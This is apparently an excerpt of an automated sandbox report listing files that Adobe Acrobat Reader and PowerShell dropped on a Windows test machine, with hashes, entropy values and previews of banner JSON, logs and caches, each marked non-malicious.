Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.309451097519035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJfzdPeUkwRe9:YvXKX1EHkZc0v6fGb8Ukee9
MD5:	D070A7147A844BFF0C7CF4037877F9D0
SHA1:	AECD5EDC2F10294F4B59E085F1921AC76F8DE65E
SHA-256:	CBA39F0F1C84F32DAE53B94475F49B542C36247CB646F807AA68F66512BCE558
SHA-512:	0461AF5B21F96D3938ACCEBDA0A10C7B1138612120A9C58B5A64019A623FCD44DF61D60B929E19E2E7065CBE70DC3BC1ACE7B11738EC1DFD14C2C22E31BC6B35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29016652148429
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJfYdPeUkwRe9:YvXKX1EHkZc0v6fGg8Ukee9
MD5:	0694A9B24978D984F4B318DEFC73391F
SHA1:	7A33B303EFBC189CBA8B47A4C2C04540B4D072DB
SHA-256:	314EB7F38764B5621ACE2BB2C17ABAD05E66DB7C0A363C2DAAFE024681486AF9
SHA-512:	2AED233559BFEE57018C267BA66C4385158C3E86281E787C5EE6C200CC36C609B1EA0959F27701C54379366EFF23B851272488A88E0394F7CAB11ED6493015F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2763427606130495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJf+dPeUkwRe9:YvXKX1EHkZc0v6fG28Ukee9
MD5:	CE0B2963060853DDD28C30B00DC4E00C
SHA1:	ECC6E4BBFA25B540D3CA70DCCBC47A350DEDDBF7
SHA-256:	356331D917D97FD8A3481922FB5C0A601ECCE304735DFFEFC5E50BB5FAF8D538
SHA-512:	6E06421A5F2D7A309A618D6A97E0F1C56DFF2A1451531542DFF6AF71C896A691475CE3644605D04900FCC490A7BF564612D00570D5CCE8A78AA0D969C1C58050
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.273781203202936
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJfbPtdPeUkwRe9:YvXKX1EHkZc0v6fGDV8Ukee9
MD5:	8DB47CC8ADA4A878EA32029618FE6FA5
SHA1:	61BB5EC242CB3BD76AE211CBBE91AEBE8D0172E1
SHA-256:	EDED362BA41BDEC95BC5EB1917BD56123C95092E2DD2BE6EE14A6CB4FE1B0CF7
SHA-512:	F13020CAF7BB2FF1816EA303242D2B7501513A34C3866195140B865BC1FF2BED66255948010635DF75CECFD7556B40C97A2A9FA465B1DE286566033DED5E467C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.278592411398624
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJf21rPeUkwRe9:YvXKX1EHkZc0v6fG+16Ukee9
MD5:	0D571E15EA20C2665D736DC135C09901
SHA1:	A29C61F6E40ECC609E0FD7C93038FEA90FE086C6
SHA-256:	FF7C36C7A83B5C814483CBAC7B85A97EB8D6A776BC0863981432246F7A150F6B
SHA-512:	7CD40B778F00138944C302BC1B6E33D73DB020BBA90E5FC3F8F3481D3819483CAC1BA51D3E7D448AA4C1E92C07ABEDC7258484225BD26D31F694073CA3E6E6C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664512806382738
Encrypted:	false
SSDEEP:	24:Yv6XgkzvDamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSR:YvybBgkDMUJUAh8cvMR
MD5:	627B26C1C313F847237FD7FE4E0A8CD4
SHA1:	2A321820B83EF30D4A19039C62F24EB0FFB92283
SHA-256:	2C464EC224DDC233A578F655162E1E026FF39717CBE36B6B9D5752B59FB4A0B2
SHA-512:	E2E4D6871A11FBC85B850662E7987B12876AC1D4B97FFB332560940002A40E9C26B9E9F2259FF04EF94B32C195AD312F31D5BEBFA6058F001E656384E272EF9D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.25491898287947
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJfshHHrPeUkwRe9:YvXKX1EHkZc0v6fGUUUkee9
MD5:	9A6A431E25B1C69382FCC7BD60111872
SHA1:	8CBF2B598360581D45321BA2743319B87F23EF3D
SHA-256:	535D0CEBDAFA4864EF88C9ED658687534996219E42EED30FDA6C2A3C00BFE9BB
SHA-512:	78CBCBE321053EC51D4AE6E79033A0E0EA40D0BFC6A71CA78C83E19739B4EA164C1E7378D5145DC62623CF43E2A1ED2FAC6C26A460A13003203433B2B4019DC4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2630984654181665
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJTqgFCrPeUkwRe9:YvXKX1EHkZc0v6fGTq16Ukee9
MD5:	86693E3C8D2EBB84AF5625B3352C8B5A
SHA1:	D880E8075C44CF61C05DF2C5DF551859E957B81A
SHA-256:	89074A80A25D7EF21D682830935C899A63CE5A510583537284A35FD7D1FB10B6
SHA-512:	A9271F4077E8FA7DC79838A29B24B9DB5EF83CAB7F4A5949FAB174D2C1A77AC28D9F6530E55790F4D642FD8AE1799F5A9B4A430B95266110168262C5AAFE5359
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132671138774845
Encrypted:	false
SSDEEP:	24:Yr2aQay1JEgGYdIwBcPzqCjlj0SOnou2hG2LSACuKRDLc6Zd5Vc9OwAu4MOG:Y07GYdIw+rppO8G2HKRDLZ3Y9R
MD5:	BB6E9DFDF954392169B2695A02625160
SHA1:	1A6745EC6D16F4387E4E8A344FA355B6DB661CA5
SHA-256:	6C02C9984BF7D62C4BCE2DF9387D5E5DD81D256F82E5C3C6955700DD5E21CBE9
SHA-512:	AA475A11D9D4408B08063C824E44986E8C97C775A871CC5661B1F0C40295E93D3D2D5B9BB0749A5F0A12D9BAC0D53ED9720038BDDABA6351F7C58FD7C3D2478B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c6690c6bddc184540c96ccc139c5bdd9","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736550068000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b46fe1000ba94a59ddbc7eb2ee63c15c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736550068000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"739c5b71762c1014a4580be1a147f2de","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736550068000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4178412f878652a4110475b556f29048","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736550068000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0c3174e52fa9c5aa6238112f50fb5c1d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736550068000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e592a35b086e6736eb52005549f80025","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1882471730525268
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUENSvR9H9vxFGiDIAEkGVvpA5:lNVmswUUUUUUUUEN+FGSItE5
MD5:	484EA9B3FC2C812F27DD8FA6FBBBAAC1
SHA1:	D065F9A29113A40EB5F6036265C8A3F79D41B599
SHA-256:	DFA959BF8BA4031311D7979BF0E8739D6404B89C49EC5DB0468BAA673F27A964
SHA-512:	3B40B100C2C361DFCD736E42713AAC3AAB05B8EE1279994894155D0DA6963BBC1858282873F0F2665A3792370095BE2440A509A2CDF529C8D20E90739FDF6332
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6081729481475315
Encrypted:	false
SSDEEP:	48:7MfKUUUUUUUUUUE1vR9H9vxFGiDIAEkGVvwqFl2GL7msb:7ZUUUUUUUUUUExFGSItWKVmsb
MD5:	3FB397B21A0E1C827A41EF7F9584F585
SHA1:	CF39341382209D0B1F57D25048EC667047FF0B67
SHA-256:	42D5808B16FC1E21D0F7A76E740BBDEFA92C17D9CD43648815627B35321162D7
SHA-512:	49A7DAAFB89F4A6E3C9635944B2A6C9D724A863BE073A9E3FFA79A28B73136556317E42190D159796C237471288FD07E255999DA8B857D983F396BA1B2F97A68
Malicious:	false
Preview:	.... .c.......2......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgH5f5scPj/u/BcyNI2Wb+MPeWFYyu:6a6TZ44ADEVj/0BcyNsb+MG+K
MD5:	3382BBF9F5807ABCB7387EF6C50EC7C0
SHA1:	7318ACA4461BC98F6341FFCAF80C9BF2070C30AF
SHA-256:	37D06821E0DF0F353607C36D46B1DF6A23EAE2040375CC65D5221951C1F5F6CB
SHA-512:	401E433A7D60DF226644954A8C8BE73BB082FD776DE160EC3E2B97D131B25F5EE927C0A555FC69A60289C294EE8696BAD6044F011B9EF3E9AD819C9D08A9BDC2
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3b494.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5020010357239357
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEFqmlww:Qw946cPbiOxDlbYnuRK+bDHH
MD5:	14095FF5FDB84C285DE0C4FC087709A0
SHA1:	318B9D6CED499231937569650B86408CC39AF647
SHA-256:	B1E2ABA211E2E4475F66990CAD962816299BB0A872523D244530A01CE51972B4
SHA-512:	9054D22FCC48B95461360BB4E28484FECD353BC5C85D07EADE35521CA9A0FEEA6826C90F3B60C635DE51F4ED58054606F428482079F3459CFD0BA4D4D84F77D9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.8.:.0.1.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_odjp2043.0vv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t3rbkk3o.cnx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A92etakn_13zhlvn_2vc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 18-01-04-031.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3464127176375404
Encrypted:	false
SSDEEP:	384:hQixgxZS4SuSrSfqSzSgSCSrS1z2MZnMxMR9B9Fubuf/Q/c/1/2/LMHQIHQMHQud:hpG7DD8cqAddCQqYncqHb2k40tuowIwm
MD5:	FF1396FF796D2461E5EB655B5EA94680
SHA1:	5A383C7A1E48BFBD4088DCB55D5F39AC6DA38B7F
SHA-256:	734EEA25EC48DC262E67F5A00E343FF2E169445C6172360DBABF28C7ED03B43D
SHA-512:	F16D4572D3B9E2E0ABE9C407D937D1F261D024FFA206354BF7E38B78018D4667BEEAE28831191984122A42BECCD29AD6E38A316D0710563FFAADD01958008412
Malicious:	false
Preview:	SessionID=7424044f-d8d9-44af-8e61-3b95e83cc613.1736550064042 Timestamp=2025-01-10T18:01:04:042-0500 ThreadID=7816 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7424044f-d8d9-44af-8e61-3b95e83cc613.1736550064042 Timestamp=2025-01-10T18:01:04:043-0500 ThreadID=7816 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7424044f-d8d9-44af-8e61-3b95e83cc613.1736550064042 Timestamp=2025-01-10T18:01:04:043-0500 ThreadID=7816 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7424044f-d8d9-44af-8e61-3b95e83cc613.1736550064042 Timestamp=2025-01-10T18:01:04:044-0500 ThreadID=7816 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7424044f-d8d9-44af-8e61-3b95e83cc613.1736550064042 Timestamp=2025-01-10T18:01:04:044-0500 ThreadID=7816 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.386601452176496
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rp:Gk
MD5:	8E272FD0E57C2EBB7B7A58B4CE243966
SHA1:	3C18A5D4B53029B3F449E68DA60572F8856C1321
SHA-256:	22AE7C4C6BC12D8D8B959B87052F010779559C6210E96CC12512AB5313454F59
SHA-512:	1B379AE9F5C85CACD5E429B9DA906D20365A5374B430DB03E5862DBE68A3A040947AB954076D0F4A4117E6D5CE8227E9250FC459F3C960298FEF923BB58ACAB5
Malicious:	false
